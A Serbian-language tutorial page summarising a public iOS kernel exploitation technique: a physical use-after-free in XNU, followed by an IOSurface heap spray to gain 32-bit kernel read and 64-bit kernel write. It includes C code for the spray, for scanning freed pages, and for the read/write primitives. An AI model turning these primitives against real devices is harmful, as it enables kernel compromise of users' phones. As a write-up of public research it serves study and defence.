# iOS Exploiting ## Physical use-after-free Ovo je sažetak iz posta sa [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), a dodatne informacije o eksploatu korišćenjem ove tehnike mogu se naći na [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### Memory management in XNU **Virtuelni adresni prostor** za korisničke procese na iOS-u se proteže od **0x0 do 0x8000000000**. Međutim, ove adrese se ne mapiraju direktno na fizičku memoriju. Umesto toga, **kernel** koristi **tabele stranica** za prevođenje virtuelnih adresa u stvarne **fizičke adrese**. #### Levels of Page Tables in iOS Tabele stranica su organizovane hijerarhijski u tri nivoa: 1. **L1 Page Table (Nivo 1)**: * Svaki unos ovde predstavlja veliki opseg virtuelne memorije. * Pokriva **0x1000000000 bajtova** (ili **256 GB**) virtuelne memorije. 2. **L2 Page Table (Nivo 2)**: * Unos ovde predstavlja manju oblast virtuelne memorije, specifično **0x2000000 bajtova** (32 MB). * L1 unos može ukazivati na L2 tabelu ako ne može da mapira celu oblast sam. 3. **L3 Page Table (Nivo 3)**: * Ovo je najfiniji nivo, gde svaki unos mapira jednu **4 KB** memorijsku stranicu. * L2 unos može ukazivati na L3 tabelu ako je potrebna preciznija kontrola. #### Mapping Virtual to Physical Memory * **Direktno mapiranje (Block Mapping)**: * Neki unosi u tabeli stranica direktno **mapiraju opseg virtuelnih adresa** na kontiguitet fizičkih adresa (poput prečice). * **Pokazivač na Child Page Table**: * Ako je potrebna finija kontrola, unos u jednom nivou (npr. L1) može ukazivati na **child page table** na sledećem nivou (npr. L2). #### Example: Mapping a Virtual Address Recimo da pokušavate da pristupite virtuelnoj adresi **0x1000000000**: 1. **L1 Tabela**: * Kernel proverava L1 unos tabele stranica koji odgovara ovoj virtuelnoj adresi. Ako ima **pokazivač na L2 tabelu**, odlazi na tu L2 tabelu. 2. **L2 Tabela**: * Kernel proverava L2 tabelu stranica za detaljnije mapiranje. Ako ovaj unos ukazuje na **L3 tabelu**, nastavlja tamo. 3. **L3 Tabela**: * Kernel traži konačni L3 unos, koji ukazuje na **fizičku adresu** stvarne memorijske stranice. #### Example of Address Mapping Ako upišete fizičku adresu **0x800004000** u prvi indeks L2 tabele, tada: * Virtuelne adrese od **0x1000000000** do **0x1002000000** mapiraju se na fizičke adrese od **0x800004000** do **0x802004000**. * Ovo je **block mapping** na L2 nivou. Alternativno, ako L2 unos ukazuje na L3 tabelu: * Svaka 4 KB stranica u opsegu virtuelnih adresa **0x1000000000 -> 0x1002000000** biće mapirana pojedinačnim unosima u L3 tabeli. ### Physical use-after-free **Fizički use-after-free** (UAF) se dešava kada: 1. Proces **alokira** neku memoriju kao **čitljivu i zapisivu**. 2. **Tabele stranica** se ažuriraju da mapiraju ovu memoriju na određenu fizičku adresu kojoj proces može pristupiti. 3. Proces **dealokira** (oslobađa) memoriju. 4. Međutim, zbog **greške**, kernel **zaboravlja da ukloni mapiranje** iz tabela stranica, iako označava odgovarajuću fizičku memoriju kao slobodnu. 5. Kernel može zatim **ponovo alocirati ovu "oslobođenu" fizičku memoriju** za druge svrhe, poput **kernel podataka**. 6. Pošto mapiranje nije uklonjeno, proces može i dalje **čitati i pisati** u ovu fizičku memoriju. To znači da proces može pristupiti **stranicama kernel memorije**, koje mogu sadržati osetljive podatke ili strukture, potencijalno omogućavajući napadaču da **manipuliše kernel memorijom**. ### Exploitation Strategy: Heap Spray Pošto napadač ne može kontrolisati koje specifične kernel stranice će biti alocirane na oslobođenoj memoriji, koriste tehniku nazvanu **heap spray**: 1. Napadač **stvara veliki broj IOSurface objekata** u kernel memoriji. 2. Svaki IOSurface objekat sadrži **magijsku vrednost** u jednom od svojih polja, što olakšava identifikaciju. 3. Oni **skeniraju oslobođene stranice** da vide da li je neki od ovih IOSurface objekata dospeo na oslobođenu stranicu. 4. Kada pronađu IOSurface objekat na oslobođenoj stranici, mogu ga koristiti za **čitati i pisati kernel memoriju**. Više informacija o ovome u [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) ### Step-by-Step Heap Spray Process 1. **Spray IOSurface Objects**: Napadač stvara mnogo IOSurface objekata sa posebnim identifikatorom ("magijska vrednost"). 2. **Scan Freed Pages**: Proveravaju da li su neki od objekata alocirani na oslobođenoj stranici. 3. **Read/Write Kernel Memory**: Manipulacijom polja u IOSurface objektu, stiču mogućnost da izvrše **arbitrarne čitanja i pisanja** u kernel memoriji. Ovo im omogućava: * Da koriste jedno polje za **čitati bilo koju 32-bitnu vrednost** u kernel memoriji. * Da koriste drugo polje za **pisanje 64-bitnih vrednosti**, postizajući stabilnu **kernel read/write primitivu**. Generišite IOSurface objekte sa magičnom vrednošću IOSURFACE_MAGIC da biste ih kasnije tražili: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; for (int i = 0; i < nSurfaces; i++) { fast_create_args_t args; lock_result_t result; size_t size = IOSurfaceLockResultSize; args.address = 0; args.alloc_size = *nClients + 1; args.pixel_format = IOSURFACE_MAGIC; IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); io_connect_t id = result.surface_id; (*clients)[*nClients] = id; *nClients = (*nClients) += 1; } } ``` Pretražite **`IOSurface`** objekte u jednoj oslobođenoj fizičkoj stranici: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); int nSurfaceIDs = 0; for (int i = 0; i < 0x400; i++) { spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); for (int j = 0; j < nPages; j++) { uint64_t start = puafPages[j]; uint64_t stop = start + (pages(1) / 16); for (uint64_t k = start; k < stop; k += 8) { if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { info.object = k; info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; if (self_task) *self_task = iosurface_get_receiver(k); goto sprayDone; } } } } sprayDone: for (int i = 0; i < nSurfaceIDs; i++) { if (surfaceIDs[i] == info.surface) continue; iosurface_release(client, surfaceIDs[i]); } free(surfaceIDs); return 0; } ``` ### Postizanje Kernel Read/Write sa IOSurface Nakon što postignemo kontrolu nad IOSurface objektom u kernel memoriji (mapiranim na oslobođenu fizičku stranicu dostupnu iz korisničkog prostora), možemo ga koristiti za **arbitrarne kernel read i write operacije**. **Ključna Polja u IOSurface** IOSurface objekat ima dva ključna polja: 1. **Pokazivač na Broj Korišćenja**: Omogućava **32-bitno čitanje**. 2. **Pokazivač na Indeksirani Vremepečat**: Omogućava **64-bitno pisanje**. Prepisivanjem ovih pokazivača, preusmeravamo ih na arbitrarne adrese u kernel memoriji, omogućavajući read/write mogućnosti. #### 32-Bitno Kernel Čitanje Da bismo izvršili čitanje: 1. Prepišite **pokazivač na broj korišćenja** da pokazuje na ciljnu adresu minus 0x14-bajtni ofset. 2. Koristite `get_use_count` metodu da pročitate vrednost na toj adresi. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint64_t args[1] = {surfaceID}; uint32_t size = 1; uint64_t out = 0; IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { uint64_t orig = iosurface_get_use_count_pointer(info.object); iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 uint32_t value = get_use_count(info.client, info.surface); iosurface_set_use_count_pointer(info.object, orig); return value; } ``` #### 64-Bit Kernel Write Da biste izvršili pisanje: 1. Prepišite **pokazivač indeksiranog vremenskog pečata** na ciljnu adresu. 2. Koristite metodu `set_indexed_timestamp` da biste napisali 64-bitnu vrednost. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { uint64_t args[3] = {surfaceID, 0, value}; IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); iosurface_set_indexed_timestamp_pointer(info.object, addr); set_indexed_timestamp(info.client, info.surface, value); iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` #### Exploit Flow Recap 1. **Pokreni fizičko korišćenje nakon oslobađanja**: Oslobođene stranice su dostupne za ponovnu upotrebu. 2. **Prskanje IOSurface objekata**: Alociraj mnogo IOSurface objekata sa jedinstvenom "čarobnom vrednošću" u kernel memoriji. 3. **Identifikuj dostupni IOSurface**: Pronađi IOSurface na oslobođenoj stranici koju kontrolišeš. 4. **Zloupotrebi korišćenje nakon oslobađanja**: Izmeni pokazivače u IOSurface objektu da omogućiš proizvoljno **čitanje/pisanje u kernel** putem IOSurface metoda. Sa ovim primitivima, exploit omogućava kontrolisano **32-bitno čitanje** i **64-bitno pisanje** u kernel memoriju. Dalji koraci za jailbreak mogu uključivati stabilnije primitivne operacije čitanja/pisanja, što može zahtevati zaobilaženje dodatnih zaštita (npr. PPL na novijim arm64e uređajima).